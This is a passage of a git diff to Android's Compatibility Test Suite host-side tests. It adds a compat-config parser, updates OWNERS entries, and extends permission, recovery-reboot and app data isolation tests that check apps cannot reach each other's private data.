diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
new file mode 100644
index 0000000..23dc83a
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.cts;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+public class Change {
+    private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
+                                            + "(; name=(?<changeName>[^;]+))?"
+                                            + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
+                                            + "(; (?<disabled>disabled))?"
+                                            + "(; (?<loggingOnly>loggingOnly))?"
+                                            + "(; deferredOverrides=(?<deferredOverrides>[^\\);]+))?"
+                                            + "(; packageOverrides=(?<overrides>[^\\)]+))?"
+                                            + "\\)");
+    public long changeId;
+    public String changeName;
+    public int sinceSdk;
+    public boolean disabled;
+    public boolean loggingOnly;
+    public boolean hasDeferredOverrides;
+    public boolean hasOverrides;
+
+    public String deferredOverridesStr;
+    public String overridesStr;
+
+    private Change(long changeId, String changeName, int sinceSdk,
+            boolean disabled, boolean loggingOnly, boolean hasDeferredOverrides,
+            boolean hasOverrides, String deferredOverridesStr,
+            String overridesStr) {
+        this.changeId = changeId;
+        this.changeName = changeName;
+        this.sinceSdk = sinceSdk;
+        this.disabled = disabled;
+        this.loggingOnly = loggingOnly;
+        this.hasDeferredOverrides = hasDeferredOverrides;
+        this.hasOverrides = hasOverrides;
+        this.deferredOverridesStr = deferredOverridesStr;
+        this.overridesStr = overridesStr;
+    }
+
+    public static Change fromString(String line) {
+        long changeId = 0;
+        String changeName;
+        int sinceSdk = -1;
+        boolean disabled = false;
+        boolean loggingOnly = false;
+        boolean hasDeferredOverrides = false;
+        boolean hasOverrides = false;
+
+        String deferredOverridesStr = null;
+        String overridesStr = null;
+
+        Matcher matcher = CHANGE_REGEX.matcher(line);
+        if (!matcher.matches()) {
+            throw new RuntimeException("Could not match line " + line);
+        }
+
+        try {
+            changeId = Long.parseLong(matcher.group("changeId"));
+        } catch (NumberFormatException e) {
+            throw new RuntimeException("No or invalid changeId!", e);
+        }
+        changeName = matcher.group("changeName");
+        String sinceSdkAsString = matcher.group("sinceSdk");
+        if (sinceSdkAsString != null) {
+            try {
+                sinceSdk = Integer.parseInt(sinceSdkAsString);
+            } catch (NumberFormatException e) {
+                throw new RuntimeException("Invalid sinceSdk for change!", e);
+            }
+        }
+        if (matcher.group("disabled") != null) {
+            disabled = true;
+        }
+        if (matcher.group("loggingOnly") != null) {
+            loggingOnly = true;
+        }
+        if (matcher.group("deferredOverrides") != null) {
+            hasDeferredOverrides = true;
+            deferredOverridesStr = matcher.group("deferredOverrides");
+        }
+        if (matcher.group("overrides") != null) {
+            hasOverrides = true;
+            overridesStr = matcher.group("overrides");
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly,
+                          hasDeferredOverrides, hasOverrides, deferredOverridesStr,
+                          overridesStr);
+    }
+
+    public static Change fromNode(Node node) {
+        Element element = (Element) node;
+        long changeId = Long.parseLong(element.getAttribute("id"));
+        String changeName = element.getAttribute("name");
+        int sinceSdk = -1;
+        if (element.hasAttribute("enableAfterTargetSdk")
+            && element.hasAttribute("enableSinceTargetSdk")) {
+                throw new IllegalArgumentException("Invalid change node!"
+                + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
+        }
+        if (element.hasAttribute("enableAfterTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
+        }
+        if (element.hasAttribute("enableSinceTargetSdk")) {
+            sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
+        }
+        boolean disabled = false;
+        if (element.hasAttribute("disabled")) {
+            disabled = true;
+        }
+        boolean loggingOnly = false;
+        if (element.hasAttribute("loggingOnly")) {
+            loggingOnly = true;
+        }
+        return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, false, false,
+                          null, null);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
+    }
+
+    @Override
+    public boolean equals(Object other) {
+        if (this == other) {
+            return true;
+        }
+        if (other == null || !(other instanceof Change)) {
+            return false;
+        }
+        Change that = (Change) other;
+        return this.changeId == that.changeId
+            && Objects.equals(this.changeName, that.changeName)
+            && this.sinceSdk == that.sinceSdk
+            && this.disabled == that.disabled
+            && this.loggingOnly == that.loggingOnly
+            && this.hasDeferredOverrides == that.hasDeferredOverrides
+            && this.hasOverrides == that.hasOverrides;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("ChangeId(" + changeId);
+        if (changeName != null && !changeName.isEmpty()) {
+            sb.append("; name=" + changeName);
+        }
+        if (sinceSdk != 0) {
+            sb.append("; enableSinceTargetSdk=" + sinceSdk);
+        }
+        if (disabled) {
+            sb.append("; disabled");
+        }
+        if (hasDeferredOverrides) {
+            sb.append("; deferredOverrides={");
+            sb.append(deferredOverridesStr);
+            sb.append("}");
+        }
+        if (hasOverrides) {
+            sb.append("; packageOverrides={");
+            sb.append(overridesStr);
+            sb.append("}");
+        }
+        sb.append(")");
+        return sb.toString();
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 6fa2f2b..84300a2 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -46,6 +46,7 @@
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
+import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -355,4 +356,15 @@
         getDevice().executeShellCommand(command, receiver);
         return receiver.getOutput();
     }
+
+    /**
+     * Get the on device compat config.
+     */
+    protected List<Change> getOnDeviceCompatConfig() throws Exception {
+        String config = runCommand("dumpsys platform_compat");
+        return Arrays.stream(config.split("\n"))
+                .map(Change::fromString)
+                .collect(Collectors.toList());
+    }
+
 }
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 927344a..d561b80 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,8 +1,6 @@
 # Bug component: 533114
 toddke@google.com
 per-file AccessSerialNumberTest.java = moltmann@google.com
-per-file AdoptableFeatureConsistentTest.java = jsharkey@google.com
-per-file AdoptableHostTest.java = jsharkey@google.com
 per-file ApexSignatureVerificationTest.java = dariofreni@google.com
 per-file ApplicationVisibilityTest.java = toddke@google.com
 per-file AppDataIsolationTests.java = rickywai@google.com
@@ -12,13 +10,7 @@
 per-file BaseInstallMultiple.java = toddke@google.com
 per-file CorruptApkTests.java = rtmitchell@google.com
 per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file DirectBootHostTest.java = jsharkey@google.com
-per-file DocumentsTestCase.java = dikshag@google.com
-per-file DocumentsTestCase.java = zemiao@google.com
-per-file DocumentsTest.java = dikshag@google.com
-per-file DocumentsTest.java = zemiao@google.com
 per-file EphemeralTest.java = toddke@google.com
-per-file ExternalStorageHostTest.java = jsharkey@google.com
 per-file InstantAppUserTest.java = toddke@google.com
 per-file InstantCookieHostTest.java = toddke@google.com
 per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
@@ -33,10 +25,8 @@
 per-file PrivilegedUpdateTests.java = toddke@google.com
 per-file ReviewPermissionHelper = moltmann@google.com
 per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
 per-file SharedUserIdTest.java = toddke@google.com
 per-file SplitTests.java = patb@google.com,toddke@google.com
-per-file StorageHostTest.java = jsharkey@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
 # test apps
 per-file BasePermissionsTest.java = moltmann@google.com
@@ -48,3 +38,12 @@
 per-file CtsShim*.apk = ioffe@google.com
 per-file com.android.apex.cts.shim.*.apex = dariofreni@google.com
 per-file com.android.apex.cts.shim.*.apex = ioffe@google.com
+
+per-file *Adoptable* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *DirectBoot* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Storage* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *Documents* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+
+per-file *Documents* = file:platform/packages/apps/DocumentsUI:/OWNERS
+per-file ScopedDirectoryAccessTest.java = file:platform/packages/apps/DocumentsUI:/OWNERS
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 7472748..fbc01df 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -378,6 +378,24 @@
                 "testInstallPermissionGranted");
     }
 
+    @Test
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testInstallPermissionNotGrantedInPackageInfo");
+    }
+
+    @Test
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        if (mIsUnsupportedDevice) {
+            return;
+        }
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS,
+                "testInstallPermissionGrantedInPackageInfo");
+    }
+
     /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
     @Test
     public void testStartForegroundService() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
index ba62f2f..4972c68 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -30,11 +30,13 @@
 import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters
 import android.cts.host.utils.DeviceJUnit4Parameterized
 import com.google.common.truth.Truth.assertThat
+import com.google.common.truth.Truth.assertWithMessage
 import org.junit.After
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
+import java.lang.AssertionError
 
 /**
  * This test verifies protection for an exploit where any app could set the installer package
@@ -197,7 +199,9 @@
     }
 
     private fun assertPermission(granted: Boolean, permission: String) {
-        assertThat(getPermissionString(permission)).contains("granted=$granted")
+        val dump = device.executeShellCommand("dumpsys package $TARGET_PKG")
+        assertWithMessage(dump).that(getPermissionString(dump, permission))
+                .contains("granted=$granted")
     }
 
     private fun grantPermission(permission: String) {
@@ -209,40 +213,50 @@
     }
 
     private fun assertGrantState(state: GrantState, permission: String) {
-        val output = getPermissionString(permission)
+        val dump = device.executeShellCommand("dumpsys package $TARGET_PKG")
+        val output = getPermissionString(dump, permission)
 
         when (state) {
             GrantState.TRUE -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).doesNotContain("RESTRICTION")
-                assertThat(output).doesNotContain("EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).doesNotContain("RESTRICTION")
+                assertWithMessage(dump).that(output).doesNotContain("EXEMPT")
             }
             GrantState.TRUE_EXEMPT -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).contains("RESTRICTION_INSTALLER_EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).contains("RESTRICTION_INSTALLER_EXEMPT")
             }
             GrantState.TRUE_RESTRICTED -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).contains("APPLY_RESTRICTION")
-                assertThat(output).doesNotContain("EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).contains("APPLY_RESTRICTION")
+                assertWithMessage(dump).that(output).doesNotContain("EXEMPT")
             }
             GrantState.FALSE -> {
-                assertThat(output).contains("granted=false")
+                assertWithMessage(dump).that(output).contains("granted=false")
             }
         }
     }
 
-    private fun getPermissionString(permission: String) =
-            device.executeShellCommand("dumpsys package $TARGET_PKG")
-                    .lineSequence()
-                    .dropWhile { !it.startsWith("Packages:") } // Wait for package header
-                    .drop(1) // Drop the package header itself
-                    .takeWhile { it.isEmpty() || it.first().isWhitespace() } // Until next header
-                    .dropWhile { !it.trim().startsWith("User $mPrimaryUserId:") } // Find user
-                    .drop(1) // Drop the user header itself
-                    .takeWhile { !it.trim().startsWith("User") } // Until next user
-                    .filter { it.contains("$permission: granted=") }
-                    .single()
+    private fun getPermissionString(output: String, permission: String) = retry {
+        output.lineSequence()
+                .dropWhile { !it.startsWith("Packages:") } // Wait for package header
+                .drop(1) // Drop the package header itself
+                .takeWhile { it.isEmpty() || it.first().isWhitespace() } // Until next header
+                .dropWhile { !it.trim().startsWith("User $mPrimaryUserId:") } // Find user
+                .drop(1) // Drop the user header itself
+                .takeWhile { !it.trim().startsWith("User") } // Until next user
+                .filter { it.contains("$permission: granted=") }
+                .firstOrNull()
+    }
+
+    private fun <T> retry(block: () -> T?): T {
+        repeat(10) {
+            block()?.let { return it }
+            Thread.sleep(1000)
+        }
+
+        throw AssertionError("Never succeeded")
+    }
 
     enum class GrantState {
         // Granted in full, unrestricted
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 557596a..78d422f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -300,14 +300,14 @@
     }
 
     private void deviceRequestLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery request-lskf cts-test1");
+        String res = getDevice().executeShellCommand("cmd recovery request-lskf " + PKG);
         if (res == null || !res.contains("success")) {
             fail("could not set up recovery request-lskf");
         }
     }
 
     private void deviceClearLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery clear-lskf");
+        String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + PKG);
         if (res == null || !res.contains("success")) {
             fail("could not clear-lskf");
         }
@@ -338,8 +338,9 @@
     }
 
     private void deviceRebootAndApply() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply cts-test1 cts-test");
-        if (res != null && res.contains("failure")) {
+        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + PKG
+                + " cts-test");
+        if (res != null && res.contains("Reboot and apply status: failure")) {
             fail("could not call reboot-and-apply");
         }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
index 695ed263..7fa2618 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
@@ -54,9 +54,10 @@
     @Test
     @AppModeFull(reason = "Only full apps may install")
     public void testSessionReferrerUriVisibleToOwner() throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_A,
+        // Device test launches an Activity, so it should run under current user.
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), SESSION_INSPECTOR_PKG_A,
                 "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
-        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_B,
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), SESSION_INSPECTOR_PKG_B,
                 "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index fdbb439..20be1a7 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -23,6 +23,11 @@
     created by com.android.cts.appwithdata.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
     <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index b1f804e..74d754d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -28,10 +29,14 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -45,6 +50,9 @@
 /**
  * Test that another app's private data cannot be accessed, while its public data can.
  *
+ * These tests are for apps targeting SDK 29 (or lower). Tests for the behavior for apps targeting
+ * SDK 30+ are in {@code AppDataIsolationTests}.
+ *
  * Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
  */
 @RunWith(AndroidJUnit4.class)
@@ -70,10 +78,15 @@
 
     private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
 
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
     /**
-     * Tests that another app's private data cannot be accessed. It includes file
-     * and detailed traffic stats.
-     * @throws IOException
+     * Tests that another app's private data cannot be accessed.
      */
     @Test
     public void testAccessPrivateData() throws IOException {
@@ -90,17 +103,8 @@
         }
     }
 
-    private ApplicationInfo getApplicationInfo(String packageName) {
-        try {
-            return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
-        } catch (PackageManager.NameNotFoundException e) {
-            throw new IllegalStateException("Expected package not found: " + e);
-        }
-    }
-
     /**
-     * Tests that another app's public file can be accessed
-     * @throws IOException
+     * Tests that another app's public file cannot be accessed
      */
     @Test
     public void testAccessPublicData() throws IOException {
@@ -117,6 +121,21 @@
         }
     }
 
+    /**
+     * Tests that we can't even access another app's root private data dir.
+     */
+    @Test
+    public void testStatPrivateDataDir() {
+        ApplicationInfo applicationInfo = getApplicationInfo(APP_WITH_DATA_PKG);
+        String path = applicationInfo.dataDir;
+        try {
+            Os.stat(path);
+            fail("Was able to stat() another app's private data dir: " + path);
+        } catch (ErrnoException expected) {
+            assertEquals(path, OsConstants.EACCES, expected.errno);
+        }
+    }
+
     @Test
     public void testAccessProcQtaguidTrafficStatsFailed() {
         // For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
@@ -130,7 +149,7 @@
     public void testAccessPrivateTrafficStats() {
         int otherAppUid = -1;
         try {
-            otherAppUid = InstrumentationRegistry.getContext()
+            otherAppUid = mContext
                     .createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
                     .getApplicationInfo().uid;
         } catch (NameNotFoundException e) {
@@ -159,7 +178,7 @@
         final long txp = TrafficStats.getUidTxPackets(uid);
 
         // Start remote server
-        final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+        final int port = mContext.getContentResolver().call(PRIVATE_TARGET, "start", null, null)
                 .getInt("port");
 
         // Try talking to them, but shift blame
@@ -169,7 +188,7 @@
 
             Bundle extras = new Bundle();
             extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
 
             socket.connect(new InetSocketAddress("localhost", port));
 
@@ -181,7 +200,7 @@
         } catch (IOException e) {
             throw new RuntimeException(e);
         } finally {
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
         }
 
         SystemClock.sleep(1000);
@@ -192,4 +211,12 @@
         assertEquals(txb, TrafficStats.getUidTxBytes(uid));
         assertEquals(txp, TrafficStats.getUidTxPackets(uid));
     }
+
+    private ApplicationInfo getApplicationInfo(String packageName) {
+        try {
+            return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new IllegalStateException("Expected package not found: " + e);
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index b00dcc3..38185ee 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -16,8 +16,8 @@
     name: "CtsAppDataIsolationAppA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -35,8 +35,8 @@
     name: "CtsAppDataIsolationAppSharedA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -54,8 +54,8 @@
     name: "CtsAppDataIsolationAppDirectBootA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -73,8 +73,8 @@
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -92,8 +92,8 @@
     name: "CtsAppDataIsolationAppSharedB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 4e8cadf..c25d3d9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
@@ -26,6 +27,7 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileExists;
 import static com.android.cts.appdataisolation.common.FileUtils.touchFile;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -171,7 +173,8 @@
 
     @Test
     public void testAppACurProfileDataAccessible() {
-        assertDirIsAccessible("/data/misc/profiles/cur/0/" + mContext.getPackageName());
+        assertDirIsAccessible("/data/misc/profiles/cur/"+ getCurrentUserId() + "/"
+                + mContext.getPackageName());
     }
 
     @Test
@@ -181,12 +184,12 @@
 
     @Test
     public void testCannotAccessAppBDataDir() throws Exception {
-        ApplicationInfo applicationInfo = mContext.getPackageManager().getApplicationInfo(
-                FileUtils.APPB_PKG,0);
+        ApplicationInfo applicationInfo = mContext.getPackageManager()
+                .getApplicationInfo(APPB_PKG, 0);
         assertDirDoesNotExist(applicationInfo.dataDir);
         assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
-        assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+        assertDirDoesNotExist("/data/data/" + APPB_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/" + APPB_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -239,11 +242,12 @@
         mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_BOOT_COMPLETED));
 
         testUnlockDevice();
-        setUpExternalStoragePaths();
 
         assertTrue("User not unlocked", unlocked.await(1, TimeUnit.MINUTES));
         assertTrue("No locked boot complete", bootCompleted.await(1, TimeUnit.MINUTES));
 
+        setUpExternalStoragePaths();
+
         // The test app process should be still running, make sure CE DE now is available
         testAppACeDataExists();
         testAppADeDataExists();
@@ -283,4 +287,4 @@
             mContext.unbindService(mServiceConnection);
         }
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index 5b1ec66..d209a42 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -18,6 +18,7 @@
 
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.app.Service;
 import android.content.Intent;
@@ -38,7 +39,10 @@
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + getPackageName());
+
+                int currentUserId = getCurrentUserId();
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + getPackageName());
                 assertDirIsNotAccessible("/data/misc/profiles/ref");
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
@@ -46,14 +50,16 @@
